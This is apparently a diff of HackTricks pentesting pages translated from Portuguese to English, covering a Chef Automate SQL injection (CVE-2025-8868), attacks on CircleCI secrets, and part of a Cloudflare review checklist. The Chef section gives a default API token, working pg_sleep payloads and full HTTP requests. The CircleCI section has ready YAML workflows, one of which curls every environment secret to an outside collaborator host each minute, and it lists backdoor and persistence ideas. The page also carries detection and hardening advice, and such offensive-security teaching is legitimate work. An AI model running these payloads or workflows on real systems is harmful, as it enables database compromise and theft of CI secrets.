- POST /api/v0/compliance/scanner/jobs/search
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate expõe um data collector que autentica requisições via um header dedicado:
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risco: Alguns ambientes podem manter um token default que fornece acesso a rotas de API protegidas. Default conhecido observado em ambientes:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
Se presente, este token pode ser usado para chamar endpoints da Compliance API que normalmente exigem autenticação. Sempre tente rotacionar/desabilitar defaults durante o hardening.
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
Endpoints respaldados por gRPC-Gateway often leak erros de validação úteis que descrevem o modelo de requisição esperado.
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
|
||||
Para /api/v0/compliance/profiles/search, o backend espera um corpo com um array filters, onde cada elemento é um objeto com:
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (identificador do campo de filtro)
|
||||
- values: array de strings
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
JSON malformado ou tipos de campo incorretos normalmente acionam respostas 4xx/5xx com dicas, e os headers indicam o comportamento do gRPC-Gateway. Use isso para mapear campos e localizar superfícies de injeção.
|
||||
|
||||
## API de Compliance SQL Injection (CVE-2025-8868)
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
|
||||
- Endpoint afetado: POST /api/v0/compliance/profiles/search
|
||||
- Ponto de injeção: filters[].type
|
||||
- Classe de vulnerabilidade: time-based blind SQL injection in PostgreSQL
|
||||
- Causa raiz: Falta de parametrização/whitelisting adequada ao interpolar o campo type em um fragmento SQL dinâmico (provavelmente usado para construir identifiers/WHERE clauses). Valores forjados em type são avaliados pelo PostgreSQL.
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Notas da técnica:
|
||||
- Feche a string original com uma aspa simples '
|
||||
- Concatene uma subquery que chame pg_sleep(N)
|
||||
- Reentre no contexto de string via || para que o SQL final permaneça sintaticamente válido independentemente de onde type esteja incorporado
|
||||
|
||||
### Prova por latência diferencial
|
||||
Technique notes:
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
|
||||
Envie requisições em pares e compare os tempos de resposta para validar a execução no servidor:
|
||||
### Proof via differential latency
|
||||
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
|
||||
- N = 1 segundo
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 segundos
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -89,47 +96,48 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Comportamento observado:
|
||||
- Tempos de resposta aumentam com pg_sleep(N)
|
||||
- Respostas HTTP 500 podem incluir detalhes pq: durante sondagens, confirmando caminhos de execução de SQL
|
||||
|
||||
> Dica: Use um validador de tempo (por exemplo, múltiplas tentativas com comparação estatística) para reduzir ruído e falsos positivos.
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
### Impacto
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
|
||||
Usuários autenticados — ou atores não autenticados abusando de um x-data-collector-token padrão — podem executar SQL arbitrário no contexto PostgreSQL do Chef Automate, colocando em risco a confidencialidade e integridade de perfis de compliance, configuração e telemetria.
|
||||
### Impact
|
||||
|
||||
### Versões afetadas / Correção
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Orientação de atualização: Chef Automate 4.13.295 ou posterior (Linux x86) conforme avisos do fornecedor
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Detecção e Forense
|
||||
## Detection and Forensics
|
||||
|
||||
- Camada de API:
|
||||
- Monitore 500s em /api/v0/compliance/profiles/search onde filters[].type contenha aspas ('), concatenação (||) ou referências a funções como pg_sleep
|
||||
- Inspecione cabeçalhos de resposta por grpc-metadata-content-type para identificar fluxos gRPC-Gateway
|
||||
- Camada de banco de dados (PostgreSQL):
|
||||
- Audite chamadas pg_sleep e erros de identificador malformado (frequentemente exibidos com prefixos pq: vindos do driver pq para Go)
|
||||
- Autenticação:
|
||||
- Registre e alerte sobre o uso de x-data-collector-token, especialmente valores padrão conhecidos, em caminhos da API
|
||||
- API layer:
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
|
||||
## Mitigações e Hardening
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Imediato:
|
||||
- Rotacionar/desativar tokens padrão do data collector
|
||||
- Restringir ingresso aos endpoints do data collector; impor tokens fortes e únicos
|
||||
- Em nível de código:
|
||||
- Parametrize consultas; nunca concatene fragmentos SQL em strings
|
||||
- Aceitar estritamente apenas os valores permitidos para type no servidor (enum)
|
||||
- Evite montagem dinâmica de SQL para identificadores/cláusulas; se comportamento dinâmico for necessário, use citação segura de identificadores e listas explícitas de permissão
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
|
||||
## Checklist prático de testes
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Verifique se x-data-collector-token é aceito e se o valor padrão conhecido funciona
|
||||
- Mapeie o schema de requisição da Compliance API induzindo erros de validação e lendo mensagens/headers de erro
|
||||
- Teste por SQLi em campos menos óbvios “semelhantes a identificador” (por exemplo, filters[].type), não apenas em arrays de values ou campos de texto de nível superior
|
||||
- Use técnicas baseadas em tempo com concatenação para manter o SQL sintaticamente válido através dos contextos
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
|
||||
## References
|
||||
|
||||
@@ -139,4 +147,4 @@ Usuários autenticados — ou atores não autenticados abusando de um x-data-col
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,234 +2,257 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Informações Básicas
|
||||
### Basic Information
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) é uma plataforma de Integração Contínua onde você pode **definir templates** indicando o que deseja que ela faça com algum código e quando fazê-lo. Dessa forma, você pode **automatizar testes** ou **implantações** diretamente **da sua branch principal do repositório**, por exemplo.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
|
||||
### Permissões
|
||||
### Permissions
|
||||
|
||||
**CircleCI** **herda as permissões** do github e bitbucket relacionadas à **conta** que faz login.\
|
||||
Nos meus testes, verifiquei que, desde que você tenha **permissões de escrita sobre o repositório no github**, você poderá **gerenciar as configurações do projeto no CircleCI** (definir novas chaves ssh, obter chaves de api do projeto, criar novas branches com novas configurações do CircleCI...).
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
|
||||
No entanto, você precisa ser um **administrador do repositório** para **converter o repositório em um projeto CircleCI**.
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
|
||||
### Variáveis de Ambiente & Segredos
|
||||
### Env Variables & Secrets
|
||||
|
||||
De acordo com [**a documentação**](https://circleci.com/docs/2.0/env-vars/), existem diferentes maneiras de **carregar valores em variáveis de ambiente** dentro de um fluxo de trabalho.
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
|
||||
#### Variáveis de ambiente integradas
|
||||
#### Built-in env variables
|
||||
|
||||
Todo contêiner executado pelo CircleCI sempre terá [**variáveis de ambiente específicas definidas na documentação**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
|
||||
#### Texto claro
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
|
||||
Você pode declará-las em texto claro dentro de um **comando**:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
Você pode declará-los em texto claro dentro do **run environment**:
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
Você pode declará-los em texto claro dentro do **ambiente de build-job**:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
Você pode declará-los em texto claro dentro do **ambiente de um contêiner**:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Segredos do Projeto
|
||||
|
||||
Estes são **segredos** que só serão **acessíveis** pelo **projeto** (por **qualquer branch**).\
|
||||
Você pode vê-los **declarados em** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> A funcionalidade "**Import Variables**" permite **importar variáveis de outros projetos** para este.
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
|
||||
#### Segredos de Contexto
|
||||
#### Context Secrets
|
||||
|
||||
Estes são segredos que são **ampla organização**. Por **padrão, qualquer repo** poderá **acessar qualquer segredo** armazenado aqui:
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> No entanto, observe que um grupo diferente (em vez de Todos os membros) pode ser **selecionado para dar acesso apenas a pessoas específicas**.\
|
||||
> Esta é atualmente uma das melhores maneiras de **aumentar a segurança dos segredos**, para não permitir que todos os acessem, mas apenas algumas pessoas.
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
|
||||
### Ataques
|
||||
### Attacks
|
||||
|
||||
#### Buscar Segredos em Texto Claro
|
||||
#### Search Clear Text Secrets
|
||||
|
||||
Se você tiver **acesso ao VCS** (como github), verifique o arquivo `.circleci/config.yml` de **cada repo em cada branch** e **busque** por potenciais **segredos em texto claro** armazenados lá.
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
|
||||
#### Enumeração de Variáveis de Ambiente Secretas & Contexto
|
||||
#### Secret Env Vars & Context enumeration
|
||||
|
||||
Verificando o código, você pode encontrar **todos os nomes dos segredos** que estão sendo **usados** em cada arquivo `.circleci/config.yml`. Você também pode obter os **nomes dos contextos** desses arquivos ou verificá-los no console da web: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrar Segredos do Projeto
|
||||
#### Exfiltrate Project secrets
|
||||
|
||||
> [!WARNING]
|
||||
> Para **exfiltrar TODOS** os **SEGREDOS** do projeto e do contexto, você **apenas** precisa ter acesso **WRITE** a **apenas 1 repo** em toda a organização do github (_e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos_).
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
|
||||
> [!CAUTION]
|
||||
> A funcionalidade "**Import Variables**" permite **importar variáveis de outros projetos** para este. Portanto, um atacante poderia **importar todas as variáveis do projeto de todos os repos** e então **exfiltrar todas elas juntas**.
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
|
||||
Todos os segredos do projeto sempre são definidos no env dos jobs, então apenas chamando env e ofuscando-o em base64 irá exfiltrar os segredos no **console de log da web dos workflows**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
Se você **não tem acesso ao console da web** mas tem **acesso ao repositório** e sabe que o CircleCI é usado, você pode simplesmente **criar um fluxo de trabalho** que é **disparado a cada minuto** e que **exfiltra os segredos para um endereço externo**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Exfiltrar Segredos de Contexto
|
||||
|
||||
Você precisa **especificar o nome do contexto** (isso também exfiltrará os segredos do projeto):
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
Se você **não tem acesso ao console da web** mas tem **acesso ao repositório** e sabe que o CircleCI é usado, você pode simplesmente **modificar um fluxo de trabalho** que é **disparado a cada minuto** e que **exfiltra os segredos para um endereço externo**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Apenas criar um novo `.circleci/config.yml` em um repositório **não é suficiente para acionar uma construção do circleci**. Você precisa **habilitá-lo como um projeto no console do circleci**.
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI** oferece a opção de executar **suas construções em suas máquinas ou em suas próprias**.\
|
||||
Por padrão, suas máquinas estão localizadas no GCP, e você inicialmente não conseguirá encontrar nada relevante. No entanto, se uma vítima estiver executando as tarefas em **suas próprias máquinas (potencialmente, em um ambiente de nuvem)**, você pode encontrar um **endpoint de metadados da nuvem com informações interessantes**.
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
|
||||
Observe que nos exemplos anteriores tudo foi lançado dentro de um contêiner docker, mas você também pode **pedir para lançar uma máquina VM** (que pode ter permissões de nuvem diferentes):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
Ou até mesmo um contêiner docker com acesso a um serviço docker remoto:
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
#### Persistência
|
||||
|
||||
- É possível **criar** **tokens de usuário no CircleCI** para acessar os endpoints da API com o acesso dos usuários.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- É possível **criar tokens de projetos** para acessar o projeto com as permissões dadas ao token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- É possível **adicionar chaves SSH** aos projetos.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- É possível **criar um cron job em uma branch oculta** em um projeto inesperado que está **vazando** todas as variáveis de **contexto env** todos os dias.
|
||||
- Ou até mesmo criar em uma branch / modificar um job conhecido que irá **vazar** todos os segredos de **contexto e projetos** todos os dias.
|
||||
- Se você é um proprietário do github, pode **permitir orbs não verificados** e configurar um em um job como **backdoor**.
|
||||
- Você pode encontrar uma **vulnerabilidade de injeção de comando** em alguma tarefa e **injetar comandos** via um **secreto** modificando seu valor.
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Segurança do Cloudflare
|
||||
# Cloudflare Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Em uma conta Cloudflare existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
Revise cada um com:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,9 +16,9 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] Em **`Transfer Domains`** verifique se não é possível transferir nenhum domínio.
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
|
||||
Revise cada um com:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -26,45 +26,39 @@ cloudflare-domains.md
|
||||
|
||||
## Analytics
|
||||
|
||||
_I couldn’t find anything to check for a config security review._
|
||||
_I couldn't find anything to check for a config security review._
|
||||
|
||||
## Pages
|
||||
|
||||
Em cada Page do Cloudflare:
|
||||
On each Cloudflare's page:
|
||||
|
||||
- [ ] Verifique por **informações sensíveis** no **`Build log`**.
|
||||
- [ ] Verifique por **informações sensíveis** no **Github repository** atribuído ao pages.
|
||||
- [ ] Verifique por possível comprometimento do github repo via **workflow command injection** ou comprometimento `pull_request_target`. Mais informações na [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Verifique por funções vulneráveis no diretório `/fuctions` (se houver), verifique os **redirects** no arquivo `_redirects` (se houver) e **headers mal configurados** no arquivo `_headers` (se houver).
|
||||
- [ ] Verifique por **vulnerabilidades** na **web page** via **blackbox** ou **whitebox** se você conseguir **acessar o código**.
|
||||
- [ ] Nos detalhes de cada page `/<page_id>/pages/view/blocklist/settings/functions`. Verifique por **informações sensíveis** em **`Environment variables`**.
|
||||
- [ ] Na página de detalhes verifique também o **build command** e o **root directory** por **potenciais injeções** que possam comprometer a page.
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Em cada Worker do Cloudflare verifique:
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] Os triggers: O que faz o worker ser disparado? Um **usuário pode enviar dados** que serão **usados** pelo worker?
